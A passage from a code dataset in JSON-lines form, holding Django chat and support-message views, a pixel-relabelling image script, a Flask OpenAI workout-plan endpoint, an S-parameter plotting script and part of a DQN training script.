\"chat/list.html\"\n context_object_name = \"conversations\"\n paginate_by = 10\n\n totals = {}\n\n def get_queryset(self):\n user = self.request.user\n\n conversations = (\n Conversation.objects.extra(\n select={\n \"most_recent\": \"select create_date from chat_talkmessages where chat_talkmessages.talk_id = chat_conversation.id order by create_date DESC LIMIT 1\"\n }\n )\n .filter((Q(user_one=user) | Q(user_two=user)))\n .order_by(\"-most_recent\")\n )\n\n return conversations\n\n def get_context_data(self, **kwargs):\n context = super(GeneralIndex, self).get_context_data(**kwargs)\n\n self.log_context[\"timestamp_start\"] = str(int(time.time()))\n\n super(GeneralIndex, self).createLog(\n self.request.user,\n self.log_component,\n self.log_action,\n self.log_resource,\n self.log_context,\n )\n\n self.request.session[\"log_id\"] = Log.objects.latest(\"id\").id\n\n context[\"title\"] = _(\"Messages\")\n context[\"totals\"] = self.totals\n context[\"chat_menu_active\"] = \"subjects_menu_active\"\n\n return context\n\n\nclass GeneralParticipants(LoginRequiredMixin, LogMixin, generic.ListView):\n log_component = \"chat\"\n log_action = \"view\"\n log_resource = \"general_participants\"\n log_context = {}\n\n login_url = reverse_lazy(\"users:login\")\n redirect_field_name = \"next\"\n\n template_name = \"chat/list_participants.html\"\n context_object_name = \"participants\"\n paginate_by = 10\n\n totals = {}\n\n def get_queryset(self):\n user = self.request.user\n search = self.request.GET.get(\"search\", \"\")\n\n users = (\n User.objects.filter(\n Q(username__icontains=search)\n | Q(last_name__icontains=search)\n | Q(social_name__icontains=search)\n | Q(email__icontains=search)\n )\n .distinct()\n .order_by(\"social_name\", \"username\")\n .exclude(email=user.email)\n )\n\n return users\n\n def get_context_data(self, **kwargs):\n context = super(GeneralParticipants, self).get_context_data(**kwargs)\n\n self.log_context[\"search_by\"] = self.request.GET.get(\"search\", \"\")\n self.log_context[\"timestamp_start\"] = str(int(time.time()))\n\n super(GeneralParticipants, self).createLog(\n self.request.user,\n self.log_component,\n self.log_action,\n self.log_resource,\n self.log_context,\n )\n\n self.request.session[\"log_id\"] = Log.objects.latest(\"id\").id\n\n context[\"title\"] = _(\"Messages - Participants\")\n context[\"totals\"] = self.totals\n context[\"search\"] = self.request.GET.get(\"search\", \"\")\n context[\"chat_menu_active\"] = \"subjects_menu_active\"\n\n return context\n\n\nclass SubjectParticipants(LoginRequiredMixin, LogMixin, generic.ListView):\n log_component = \"chat\"\n log_action = \"view\"\n log_resource = \"subject_participants\"\n log_context = {}\n\n login_url = reverse_lazy(\"users:login\")\n redirect_field_name = \"next\"\n\n template_name = \"chat/subject_view_participants.html\"\n context_object_name = \"participants\"\n paginate_by = 10\n\n def dispatch(self, request, *args, **kwargs):\n subject = get_object_or_404(Subject, id=kwargs.get(\"subject\", 0))\n\n if not has_subject_view_permissions(request.user, subject):\n return redirect(reverse_lazy(\"subjects:home\"))\n\n return super(SubjectParticipants, self).dispatch(request, *args, **kwargs)\n\n def get_queryset(self):\n user = self.request.user\n sub = self.kwargs.get(\"subject\", 0)\n search = self.request.GET.get(\"search\", \"\")\n\n users = (\n User.objects.filter(\n (\n Q(username__icontains=search)\n | Q(last_name__icontains=search)\n | Q(social_name__icontains=search)\n | Q(email__icontains=search)\n )\n & (\n Q(is_staff=True)\n | Q(subject_student__id=sub)\n | Q(professors__id=sub)\n | Q(coordinators__subject_category__id=sub)\n )\n )\n .distinct()\n .order_by(\"social_name\", \"username\")\n .exclude(email=user.email)\n )\n\n return users\n\n def get_context_data(self, **kwargs):\n context = super(SubjectParticipants, self).get_context_data(**kwargs)\n\n sub = self.kwargs.get(\"subject\", 0)\n subject = get_object_or_404(Subject, id=sub)\n\n self.log_context[\"subject_id\"] = subject.id\n self.log_context[\"subject_name\"] = subject.name\n self.log_context[\"subject_slug\"] = subject.slug\n self.log_context[\"search_by\"] = self.request.GET.get(\"search\", \"\")\n self.log_context[\"timestamp_start\"] = str(int(time.time()))\n\n super(SubjectParticipants, self).createLog(\n self.request.user,\n self.log_component,\n self.log_action,\n self.log_resource,\n self.log_context,\n )\n\n self.request.session[\"log_id\"] = Log.objects.latest(\"id\").id\n\n context[\"subject\"] = subject\n context[\"search\"] = self.request.GET.get(\"search\", \"\")\n context[\"title\"] = _(\"%s - Participants\") % (str(subject))\n\n context[\"space\"] = self.kwargs.get(\"subject\", 0)\n context[\"space_type\"] = \"subject\"\n\n return context\n\n\nclass SubjectView(LoginRequiredMixin, LogMixin, generic.ListView):\n log_component = \"chat\"\n log_action = \"view\"\n log_resource = \"subject\"\n log_context = {}\n\n login_url = reverse_lazy(\"users:login\")\n redirect_field_name = \"next\"\n\n template_name = \"chat/subject_view.html\"\n context_object_name = \"conversations\"\n paginate_by = 10\n\n def dispatch(self, request, *args, **kwargs):\n subject = get_object_or_404(Subject, slug=kwargs.get(\"slug\", \"\"))\n\n if not has_subject_view_permissions(request.user, subject):\n return redirect(reverse_lazy(\"subjects:home\"))\n\n return super(SubjectView, self).dispatch(request, *args, **kwargs)\n\n def get_queryset(self):\n user = self.request.user\n slug = self.kwargs.get(\"slug\")\n subject = get_object_or_404(Subject, slug=slug)\n\n conversations = (\n Conversation.objects.extra(\n select={\n \"most_recent\": \"select create_date from chat_talkmessages where chat_talkmessages.talk_id = chat_conversation.id order by create_date DESC LIMIT 1\"\n }\n )\n .filter(\n (\n Q(user_one=user)\n & (\n Q(user_two__is_staff=True)\n | Q(user_two__subject_student=subject)\n | Q(user_two__professors=subject)\n | Q(user_two__coordinators__subject_category=subject)\n )\n )\n | (\n Q(user_two=user)\n & (\n Q(user_one__is_staff=True)\n | Q(user_one__subject_student=subject)\n | Q(user_one__professors=subject)\n | Q(user_one__coordinators__subject_category=subject)\n )\n )\n )\n .distinct()\n .order_by(\"-most_recent\")\n )\n\n return conversations\n\n def get_context_data(self, **kwargs):\n context = super(SubjectView, self).get_context_data(**kwargs)\n\n slug = self.kwargs.get(\"slug\", None)\n subject = get_object_or_404(Subject, slug=slug)\n\n self.log_context[\"subject_id\"] = subject.id\n self.log_context[\"subject_name\"] = subject.name\n self.log_context[\"subject_slug\"] = subject.slug\n self.log_context[\"timestamp_start\"] = str(int(time.time()))\n\n super(SubjectView, self).createLog(\n self.request.user,\n self.log_component,\n self.log_action,\n self.log_resource,\n self.log_context,\n )\n\n self.request.session[\"log_id\"] = Log.objects.latest(\"id\").id\n\n context[\"title\"] = _(\"%s - Messages\") % (str(subject))\n context[\"subject\"] = subject\n\n return context\n\n\nclass ParticipantProfile(LoginRequiredMixin, LogMixin, generic.DetailView):\n log_component = \"chat\"\n log_action = \"view\"\n log_resource = \"profile\"\n log_context = {}\n\n login_url = reverse_lazy(\"users:login\")\n redirect_field_name = \"next\"\n\n model = User\n slug_field = \"email\"\n slug_url_kwarg = \"email\"\n context_object_name = \"participant\"\n template_name = \"chat/_profile.html\"\n\n def get_context_data(self, **kwargs):\n context = super(ParticipantProfile, self).get_context_data(**kwargs)\n\n self.log_context[\"user_id\"] = self.object.id\n self.log_context[\"user_name\"] = str(self.object)\n self.log_context[\"user_email\"] = self.object.email\n\n super(ParticipantProfile, self).createLog(\n self.request.user,\n self.log_component,\n self.log_action,\n self.log_resource,\n self.log_context,\n )\n\n context[\"space\"] = self.request.GET.get(\"space\", \"0\")\n context[\"space_type\"] = self.request.GET.get(\"space_type\", \"general\")\n\n return context\n\n\nclass GetTalk(LoginRequiredMixin, LogMixin, generic.ListView):\n log_component = \"chat\"\n log_action = \"view\"\n log_resource = \"talk\"\n log_context = {}\n\n login_url = reverse_lazy(\"users:login\")\n redirect_field_name = \"next\"\n\n context_object_name = \"messages\"\n template_name = \"chat/talk.html\"\n paginate_by = 20\n talk_id = \"-1\"\n n_viewed = 0\n\n def get_queryset(self):\n user = self.request.user\n user_email = self.kwargs.get(\"email\", \"\")\n\n talks = Conversation.objects.filter(\n (Q(user_one=user) & Q(user_two__email=user_email))\n | (Q(user_two=user) & Q(user_one__email=user_email))\n )\n\n messages = TalkMessages.objects.none()\n\n if talks.count() > 0:\n talk = talks[0]\n self.talk_id = talk.id\n\n messages = TalkMessages.objects.filter(talk=talk).order_by(\"-create_date\")\n\n views = ChatVisualizations.objects.filter(\n Q(user=user) & Q(viewed=False) & (Q(message__talk=talk))\n )\n self.n_viewed = views.count()\n views.update(viewed=True, date_viewed=datetime.now())\n\n return messages\n\n def get_context_data(self, **kwargs):\n context = super(GetTalk, self).get_context_data(**kwargs)\n\n user_email = self.kwargs.get(\"email\", \"\")\n\n context[\"messages_viewed\"] = self.n_viewed\n context[\"participant\"] = get_object_or_404(User, email=user_email)\n context[\"talk_id\"] = self.talk_id\n context[\"space\"] = self.request.GET.get(\"space\", \"0\")\n context[\"space_type\"] = self.request.GET.get(\"space_type\", \"general\")\n context[\"form\"] = ChatMessageForm()\n context[\"form_url\"] = reverse_lazy(\n \"chat:create\",\n args=(),\n kwargs={\n \"email\": self.kwargs.get(\"email\", \"\"),\n \"talk_id\": self.talk_id,\n \"space\": self.request.GET.get(\"space\", \"0\"),\n \"space_type\": self.request.GET.get(\"space_type\", \"general\"),\n },\n )\n\n if context[\"space\"] == \"\":\n context[\"space\"] = 0\n\n if context[\"space_type\"] == \"subject\":\n subject = get_object_or_404(Subject, id=context[\"space\"])\n context[\"subject\"] = subject.slug\n\n self.log_context[\"talk_id\"] = self.talk_id\n self.log_context[\"user_id\"] = context[\"participant\"].id\n self.log_context[\"user_name\"] = str(context[\"participant\"])\n self.log_context[\"user_email\"] = context[\"participant\"].email\n\n super(GetTalk, self).createLog(\n self.request.user,\n self.log_component,\n self.log_action,\n self.log_resource,\n self.log_context,\n )\n\n return context\n\n\nclass SendMessage(LoginRequiredMixin, LogMixin, generic.edit.CreateView):\n log_component = \"chat\"\n log_action = \"send\"\n log_resource = \"message\"\n log_context = {}\n\n login_url = reverse_lazy(\"users:login\")\n redirect_field_name = \"next\"\n\n form_class = ChatMessageForm\n template_name = \"chat/_form.html\"\n\n def form_invalid(self, form):\n context = super(SendMessage, self).form_invalid(form)\n context.status_code = 400\n\n return context\n\n def form_valid(self, form):\n self.object = form.save(commit=False)\n\n self.object.user = self.request.user\n\n talk_id = self.kwargs.get(\"talk_id\", \"-1\")\n user = get_object_or_404(User, email=self.kwargs.get(\"email\", \"\"))\n space_type = self.kwargs.get(\"space_type\", \"general\")\n space = self.kwargs.get(\"space\", 0)\n\n if talk_id == \"-1\":\n talk = Conversation.objects.create(\n user_one=self.request.user, user_two=user\n )\n else:\n talk = get_object_or_404(Conversation, id=talk_id)\n\n self.object.talk = talk\n\n if space_type == \"subject\":\n self.object.subject = get_object_or_404(Subject, id=space)\n space = self.object.subject.slug\n\n self.object.save()\n\n simple_notify = textwrap.shorten(\n strip_tags(self.object.text), width=30, placeholder=\"...\"\n )\n\n if self.object.image:\n simple_notify += \" \".join(_(\"[Photo]\"))\n\n image_resize(self.object.image.path)\n\n notification = {\n \"type\": \"chat\",\n \"subtype\": space_type,\n \"space\": space,\n \"user_icon\": self.object.user.image_url,\n \"notify_title\": str(self.object.user),\n \"simple_notify\": simple_notify,\n \"view_url\": reverse(\"chat:view_message\", args=(self.object.id,), kwargs={}),\n \"complete\": render_to_string(\n \"chat/_message.html\", {\"talk_msg\": self.object}, self.request\n ),\n \"container\": \"chat-\" + str(self.object.user.id),\n \"last_date\": _(\"Last message in %s\")\n % (formats.date_format(self.object.create_date, \"SHORT_DATETIME_FORMAT\")),\n }\n\n notification = json.dumps(notification)\n\n Group(\"user-%s\" % user.id).send({\"text\": notification})\n\n sendChatPushNotification(user, self.object)\n\n ChatVisualizations.objects.create(viewed=False, message=self.object, user=user)\n\n return super(SendMessage, self).form_valid(form)\n\n def get_context_data(self, **kwargs):\n context = super(SendMessage, self).get_context_data(**kwargs)\n\n context[\"form_url\"] = reverse_lazy(\n \"chat:create\",\n args=(),\n kwargs={\n \"email\": self.kwargs.get(\"email\", \"\"),\n \"talk_id\": self.kwargs.get(\"talk_id\", \"-1\"),\n \"space\": self.kwargs.get(\"space\", \"0\"),\n \"space_type\": self.kwargs.get(\"space_type\", \"general\"),\n },\n )\n\n return context\n\n def get_success_url(self):\n user = get_object_or_404(User, email=self.kwargs.get(\"email\", \"\"))\n\n self.log_context = {}\n\n self.log_context[\"talk_id\"] = self.object.talk.id\n self.log_context[\"user_id\"] = user.id\n self.log_context[\"user_name\"] = str(user)\n self.log_context[\"user_email\"] = user.email\n\n if self.object.subject:\n self.log_context[\"subject_id\"] = self.object.subject.id\n self.log_context[\"subject_name\"] = self.object.subject.name\n self.log_context[\"subject_slug\"] = self.object.subject.slug\n\n super(SendMessage, self).createLog(\n self.request.user,\n self.log_component,\n self.log_action,\n self.log_resource,\n self.log_context,\n )\n\n return reverse_lazy(\n \"chat:render_message\",\n args=(\n self.object.id,\n self.object.talk.id,\n self.kwargs.get(\"space\", \"0\"),\n self.kwargs.get(\"space_type\", \"general\"),\n self.kwargs.get(\"email\", \"\"),\n ),\n )\n\n\ndef render_message(request, talk_msg, talk_id, space, space_type, email):\n msg = get_object_or_404(TalkMessages, id=talk_msg)\n\n context = {}\n context[\"talk_msg\"] = msg\n\n form_url = reverse_lazy(\n \"chat:create\",\n args=(),\n kwargs={\n \"email\": email,\n \"talk_id\": talk_id,\n \"space\": space,\n \"space_type\": space_type,\n },\n )\n loading_msg = reverse_lazy(\"chat:load_messages\", args=(msg.talk.id,))\n\n html = render_to_string(\"chat/_message.html\", context, request)\n\n return JsonResponse(\n {\n \"view\": html,\n \"new_id\": msg.id,\n \"talk_id\": msg.talk.id,\n \"new_form_url\": form_url,\n \"load_msg_url\": loading_msg,\n }\n )\n\n\n@login_required\ndef favorite(request, message):\n action = request.GET.get(\"action\", \"\")\n message = get_object_or_404(TalkMessages, id=message)\n\n if action == \"favorite\":\n ChatFavorites.objects.create(message=message, user=request.user)\n\n return JsonResponse({\"label\": _(\"Unfavorite\")})\n else:\n ChatFavorites.objects.filter(message=message, user=request.user).delete()\n\n return JsonResponse({\"label\": _(\"Favorite\")})\n\n\ndef message_viewed(request, message):\n view = ChatVisualizations.objects.filter(message__id=message, user=request.user)\n\n view.update(viewed=True, date_viewed=datetime.now())\n\n return JsonResponse({\"msg\": \"ok\"})\n\n\ndef load_messages(request, talk):\n context = {\n \"request\": request,\n }\n\n user = request.user\n favorites = request.GET.get(\"favorite\", False)\n mines = request.GET.get(\"mine\", False)\n showing = request.GET.get(\"showing\", \"\")\n n_views = 0\n\n if not favorites:\n if mines:\n messages = TalkMessages.objects.filter(talk__id=talk, user=user)\n else:\n messages = TalkMessages.objects.filter(talk__id=talk)\n else:\n if mines:\n messages = TalkMessages.objects.filter(\n talk__id=talk,\n chat_favorites_message__isnull=False,\n chat_favorites_message__user=user,\n user=user,\n )\n else:\n messages = TalkMessages.objects.filter(\n talk__id=talk,\n chat_favorites_message__isnull=False,\n chat_favorites_message__user=user,\n )\n\n if showing: # Exclude ajax creation messages results\n showing = showing.split(\",\")\n messages = messages.exclude(id__in=showing)\n\n has_page = request.GET.get(\"page\", None)\n\n paginator = Paginator(messages.order_by(\"-create_date\"), 20)\n\n try:\n page_number = int(request.GET.get(\"page\", 1))\n except ValueError:\n raise Http404\n\n try:\n page_obj = paginator.page(page_number)\n except EmptyPage:\n raise Http404\n\n context[\"messages\"] = page_obj.object_list\n\n response = render_to_string(\"chat/_list_messages.html\", context, request)\n\n return JsonResponse(\n {\n \"messages\": response,\n \"count\": messages.count(),\n \"num_pages\": paginator.num_pages,\n \"num_page\": page_obj.number,\n }\n )\n\n\n# Support\nclass SendSupportMessage(LoginRequiredMixin, LogMixin, generic.edit.CreateView):\n log_component = \"support\"\n log_action = \"send\"\n log_resource = \"message\"\n log_context = {}\n\n login_url = reverse_lazy(\"users:login\")\n redirect_field_name = \"next\"\n\n form_class = ChatMessageForm\n template_name = \"chat/support.html\"\n\n def form_valid(self, form):\n self.object = form.save(commit=False)\n\n self.object.user = self.request.user\n\n support = User.objects.filter(is_support=True).first()\n\n talk = Conversation.objects.filter(\n (Q(user_one=self.request.user) & Q(user_two=support))\n | (Q(user_one=support) & Q(user_two=self.request.user))\n ).first()\n\n if talk is None:\n talk = Conversation.objects.create(\n user_one=self.request.user, user_two=support\n )\n\n space_type = \"general\"\n space = 0\n\n self.object.text = _(\"## Support request\") + \"

\" + self.object.text\n\n self.object.talk = talk\n\n self.object.save()\n\n simple_notify = textwrap.shorten(\n strip_tags(self.object.text), width=30, placeholder=\"...\"\n )\n\n notification = {\n \"type\": \"chat\",\n \"subtype\": space_type,\n \"space\": space,\n \"user_icon\": self.object.user.image_url,\n \"notify_title\": str(self.object.user),\n \"simple_notify\": simple_notify,\n \"view_url\": reverse(\"chat:view_message\", args=(self.object.id,), kwargs={}),\n \"complete\": render_to_string(\n \"chat/_message.html\", {\"talk_msg\": self.object}, self.request\n ),\n \"container\": \"chat-\" + str(self.object.user.id),\n \"last_date\": _(\"Last message in %s\")\n % (formats.date_format(self.object.create_date, \"SHORT_DATETIME_FORMAT\")),\n }\n\n notification = json.dumps(notification)\n\n Group(\"user-%s\" % support.id).send({\"text\": notification})\n\n sendChatPushNotification(support, self.object)\n\n ChatVisualizations.objects.create(\n viewed=False, message=self.object, user=support\n )\n\n super(SendSupportMessage, self).createLog(\n self.request.user,\n self.log_component,\n self.log_action,\n self.log_resource,\n self.log_context,\n )\n\n return JsonResponse(\n {\n \"message\": _(\n \"Your message was sent to our team of support e sould be responded within 48 hours.\"\n )\n }\n )\n\n def get_context_data(self, **kwargs):\n context = super(SendSupportMessage, self).get_context_data(**kwargs)\n\n context[\"form\"] = ChatMessageForm()\n\n return context\n\n","repo_name":"amadeusproject/amadeuslms","sub_path":"chat/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":23975,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"72"} +{"seq_id":"73824169192","text":"# -*- coding:utf8 -*-\r\n\r\n#将某个文件中的图片进行像素值修改,修改后保存到另一个文件夹中\r\n#常用于语义分割中设置【像素值--类别】\r\n\r\nimport os\r\nfrom PIL import Image\r\nimport numpy as np\r\n\r\npath = ''\r\nsavedpath = ''\r\n\r\nfilelist = os.listdir(path)\r\n\r\nfor item in filelist:\r\n im = Image.open(path + item) # 打开图片\r\n width = im.size[0] # 获取宽度\r\n height = im.size[1] # 获取长度\r\n # data = np.asarray(im)\r\n # print(data.shape)\r\n # print(data)\r\n # #\r\n #\r\n for x in range(width):\r\n for y in range(height):\r\n value = im.getpixel((x, y))\r\n if (value == 255):\r\n im.putpixel((x, y), (1))\r\n #im = im.convert('RGB')\r\n im.save(savedpath + item)\r\n print('item of %s is saved ' % (item))\r\n","repo_name":"yunxuanDLRS/Image-process","sub_path":"Image processing/AlterpixelValue.py","file_name":"AlterpixelValue.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"41020086192","text":"from flask import Flask, request, jsonify\nimport os\nimport openai\nfrom flask_cors import CORS\n\napp = Flask(__name__)\nCORS(app)\n\n# Get the OpenAI key from environment variable\nopenai.api_key = os.getenv('OPENAI_KEY')\n\n@app.route('/getWorkoutPlan', methods=['POST'])\ndef get_workout_plan():\n data = request.get_json()\n \n try:\n response = openai.Completion.create(\n model=\"text-davinci-003\",\n prompt=data['prompt'],\n max_tokens=500,\n temperature=0.5\n )\n return jsonify(response['choices'][0]['text'].strip())\n \n except Exception as e:\n return jsonify({\"error\": str(e)}), 400\n\nif __name__ == \"__main__\":\n app.run(port=5000)\n","repo_name":"b-izad/backend_workout_planner","sub_path":"planner-backend.py","file_name":"planner-backend.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"19363845855","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Apr 20 10:09:12 2019\r\n\r\n@author: Emil McDowell\r\n\"\"\"\r\nimport numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nfrom mpl_toolkits.mplot3d import Axes3D\r\nimport os\r\n\r\ndef main():\r\n \r\n alldata = pd.DataFrame(columns = [\"frequency\", \"S11 (Mag)\",\r\n \"S11 (Phase)\", \"S21M\", \"S21 (Phase)\", \"S12 (Mag)\", \"S12 (Phase)\", \"S22 (Mag)\", \"S22 (Phase)\", \"angle\"])\r\n for filename in os.listdir(os.getcwd()):\r\n if (filename != \"Sample.py\" and filename != \"export_dataframe.csv\"):\r\n print(filename)\r\n \r\n #Parsing the file name to get the angle value\r\n #Assumes the file name will be of the form N#-#.S2P\r\n #Where - stands for the decimal point, and N indicates a minus sign\r\n #Some files may have to be changed to meet this format\r\n string1, string2 = filename.split(\"-\")\r\n string2, string3 = string2.split(\".\")\r\n if (string1[0] == 'N'):\r\n string1 = '-' + string1[1:] + '.'\r\n else:\r\n string1 = string1 + '.'\r\n angle = float(string1 + string2)\r\n \r\n #Reads the data into a data frame\r\n freqdata = pd.read_csv(filename, delim_whitespace = True, header = None, names = [\"frequency\", \"S11 (Mag)\",\r\n \"S11 (Phase)\", \"S21M\", \"S21 (Phase)\", \"S12 (Mag)\", \"S12 (Phase)\", \"S22 (Mag)\", \"S22 (Phase)\"],\r\n skiprows = 8, dtype = float)\r\n \r\n freqdata = freqdata.assign(angle = angle) \r\n alldata = pd.concat([alldata, freqdata], ignore_index=True)\r\n \r\n #grouping the data by it's angle value and finding the index of the minimums \r\n anglegroup = alldata.groupby(['angle'])\r\n minimumids = anglegroup.S21M.idxmin().values\r\n angles = anglegroup.S21M.idxmin().index\r\n \r\n #Minimum Data point plotting\r\n minimumdata = pd.DataFrame(columns = [\"angle\", \"frequency\", \"S21M\"])\r\n for ids in minimumids:\r\n minfreq = alldata.at[ids, \"frequency\"]\r\n minangle = alldata.at[ids, \"angle\"]\r\n minS21= alldata.at[ids, \"S21M\"]\r\n minimumdatainc = pd.DataFrame(data = [[minangle, minfreq, minS21]], columns = [\"angle\", \"frequency\", \"S21M\"])\r\n minimumdata = pd.concat([minimumdata , minimumdatainc], ignore_index=True)\r\n minimumdata.plot.scatter(x = \"angle\", y = \"S21M\")\r\n minimumdata.plot.scatter(x = \"angle\", y = \"frequency\")\r\n \r\n fig = plt.figure()\r\n ax = fig.add_subplot(111, projection='3d')\r\n ax.plot(minimumdata[\"angle\"].values, minimumdata[\"S21M\"].values, minimumdata[\"frequency\"].values)\r\n plt.show()\r\n minimumdata.to_csv(r'export_dataframe.csv', index=False)\r\n \r\n #Plotting Across All Angles\r\n plt.figure()\r\n for points in angles:\r\n subdata = anglegroup.apply(lambda x: x[x['angle'] == points])\r\n x = (subdata[\"frequency\"].values)*10**-9\r\n plt.plot(x, subdata[\"S21M\"].values)\r\n #plt.legend(angles)\r\n axes = plt.gca()\r\n #axes.set_ylim([-0.001, 0.0025])\r\n #axes.set_xlim([160,280])\r\n plt.xlabel('Frequency (GHz)')\r\n plt.ylabel('Intensity (dB)')\r\n plt.title(\"Intensity vs Frequency\")\r\n plt.show()\r\n \r\n\r\n\r\n \r\nmain()","repo_name":"joshd2/Capstone","sub_path":"Data.py","file_name":"Data.py","file_ext":"py","file_size_in_byte":3246,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"16030631885","text":"import gym\nimport math\nimport random\nimport numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom collections import namedtuple, deque\nfrom itertools import count\nfrom PIL import Image\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nimport torchvision.transforms as T\n\nimport get_env\n\n\nenv = get_env.get_env()\n\n# set up matplotlib\nis_ipython = 'inline' in matplotlib.get_backend()\nif is_ipython:\n from IPython import display\n\nplt.ion()\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\nprint(device.type, device)\nTransition = namedtuple('Transition',\n ('state', 'action', 'next_state', 'reward'))\n\n\nclass ReplayMemory(object):\n\n def __init__(self, capacity):\n self.memory = deque([],maxlen=capacity)\n\n def push(self, *args):\n \"\"\"Save a transition\"\"\"\n self.memory.append(Transition(*args))\n\n def sample(self, batch_size):\n return random.sample(self.memory, batch_size)\n\n def __len__(self):\n return len(self.memory)\n\nclass DQN(nn.Module):\n\n def __init__(self, input_size, output_size):\n super(DQN, self).__init__()\n self.conv1 = nn.Linear(input_size,35)\n self.conv2 = nn.Linear(35, 16)\n self.conv3 = nn.Linear(16, output_size)\n\n # Called with either one element to determine next action, or a batch\n # during optimization. Returns tensor([[left0exp,right0exp]...]).\n def forward(self, x):\n x = x.to(device)\n #print(x.shape)\n #print(x.shape)\n # #x = torch.permute(x,(0,2,1))\n # # x = x.unsqueeze(0)\n # # print(x.shape)\n x = F.relu(self.conv1(x))\n # print(x.shape)\n # x = x.squeeze()\n # print(x.shape)\n x = F.relu(self.conv2(x))\n x = self.conv3(x)\n return x\n\n\nBATCH_SIZE = 256\nGAMMA = 0.999\nEPS_START = 0.1\nEPS_END = 0.01\nEPS_DECAY = 200\nTARGET_UPDATE = 10\naction_space_size=9\ninput_size = 35*5\n\n# Get number of actions from gym action space\nn_actions = action_space_size\n\npolicy_net = DQN(input_size, n_actions).to(dtype=float).to(device)\ntarget_net = DQN(input_size, n_actions).to(dtype=float).to(device)\ntarget_net.load_state_dict(policy_net.state_dict())\ntarget_net.eval()\n\ndef load(i):\n policy_net.load_state_dict(torch.load(f'policynet/policynet_ep{i}.pth'))\n target_net.load_state_dict(torch.load(f'targetnet/targetnet_ep{i}.pth'))\n\n# load(1)\n\noptimizer = optim.RMSprop(policy_net.parameters())\nmemory = ReplayMemory(10000)\n\ndef getTrueAngles(directions, referenceVector=[0,1]):\n curls = np.cross(directions, referenceVector)\n dot = np.dot(directions, referenceVector)\n angles = np.arccos(dot)*180/np.pi\n args0 = np.argwhere(np.bitwise_not((curls > 0)|(curls == 0)&(dot==1)))\n angles[args0] = 360-angles[args0]\n return angles\n\n\nsectors = [((x-22.5)%360, x+22.5) for x in range(0,360,45)]\nlastaction = 1\ndef heuristicpolicy(obs, distance_discount=0.8):\n \"\"\"obs: [[isBerry, direction(2 cols), distance, size]]\"\"\"\n global lastaction\n berries = np.argwhere(np.isclose(obs[:,0], 1))[:,0]\n if berries.shape[0]==0: return lastaction\n\n obs = obs[berries]\n directions, distances, sizes = obs[:,1:3], obs[:,3], obs[:,4]\n angles = getTrueAngles(directions, [0,1])\n juices = np.zeros(8)\n for i, sector in enumerate(sectors):\n if sector[0] < sector[1]:\n args = np.argwhere((angles>=sector[0])&(angles<=sector[1]))\n else:\n args = np.argwhere((angles>=sector[0])|(angles<=sector[1]))\n args = np.squeeze(args)\n juicediscount = np.power(distance_discount, distances[args])\n discounted_juice = np.dot(sizes[args], juicediscount)\n juices[i] = discounted_juice\n\n action = np.argmax(juices)+1\n lastaction = action\n return action\n\n\n\ndef select_action(state, episode_number):\n global steps_done\n sample = random.random()\n eps_threshold = EPS_END + (EPS_START - EPS_END) * \\\n math.exp(-1. * episode_number / EPS_DECAY)\n if sample > eps_threshold:\n with torch.no_grad():\n # t.max(1) will return largest column value of each row.\n # second column on max result is index of where max element was\n # found, so we pick action with the larger expected reward.\n #print(policy_net(state).max().item())\n #print(policy_net(state))\n #print(state.shape)\n return policy_net(state).argmax(), 1\n #return policy_net(state).max(1)[1].view(1, 1)\n else:\n # action = heuristicpolicy(state, distance_discount=0.8)\n # return torch.tensor([[action]], device=device)\n return torch.tensor(np.random.randint(9,size=1)[0],device = device), 25\n\n\nepisode_durations = []\n\n\ndef plot_durations():\n plt.figure(2)\n plt.clf()\n durations_t = torch.tensor(episode_durations, dtype=torch.float)\n plt.title('Training...')\n plt.xlabel('Episode')\n plt.ylabel('Duration')\n plt.plot(durations_t.numpy())\n # Take 100 episode averages and plot them too\n if len(durations_t) >= 100:\n means = durations_t.unfold(0, 100, 1).mean(1).view(-1)\n means = torch.cat((torch.zeros(99), means))\n plt.plot(means.numpy())\n\n plt.pause(0.001) # pause a bit so that plots are updated\n if is_ipython:\n display.clear_output(wait=True)\n display.display(plt.gcf())\n\ndef optimize_model():\n if len(memory) < BATCH_SIZE:\n return\n transitions = memory.sample(BATCH_SIZE)\n # Transpose the batch (see https://stackoverflow.com/a/19343/3343043 for\n # detailed explanation). This converts batch-array of Transitions\n # to Transition of batch-arrays.\n batch = Transition(*zip(*transitions))\n\n # Compute a mask of non-final states and concatenate the batch elements\n # (a final state would've been the one after which simulation ended)\n non_final_mask = torch.tensor(tuple(map(lambda s: s is not None,\n batch.next_state)), device=device, dtype=torch.bool)\n non_final_next_states = torch.stack([s for s in batch.next_state\n if s is not None])\n state_batch = torch.stack(batch.state)\n action_batch = torch.stack(batch.action)\n reward_batch = torch.stack(batch.reward)\n\n # Compute Q(s_t, a) - the model computes Q(s_t), then we select the\n # columns of actions taken. These are the actions which would've been taken\n # for each batch state according to policy_net\n #print(action_batch.shape)\n action_batch = action_batch.type(torch.int64)\n #print(policy_net(state_batch).shape,action_batch.shape)\n state_action_values = policy_net(state_batch).gather(1, action_batch.reshape(256,1))\n\n # Compute V(s_{t+1}) for all next states.\n # Expected values of actions for non_final_next_states are computed based\n # on the \"older\" target_net; selecting their best reward with max(1)[0].\n # This is merged based on the mask, such that we'll have either the expected\n # state value or 0 in case the state was final.\n next_state_values = torch.zeros(BATCH_SIZE, device=device, dtype=float)\n next_state_values[non_final_mask] = target_net(non_final_next_states).max(1)[0].detach()\n # Compute the expected Q values\n expected_state_action_values = (next_state_values * GAMMA) + reward_batch.squeeze(1)\n # Compute Huber loss\n criterion = nn.SmoothL1Loss()\n loss = criterion(state_action_values, expected_state_action_values.unsqueeze(1))\n\n # Optimize the model\n optimizer.zero_grad()\n 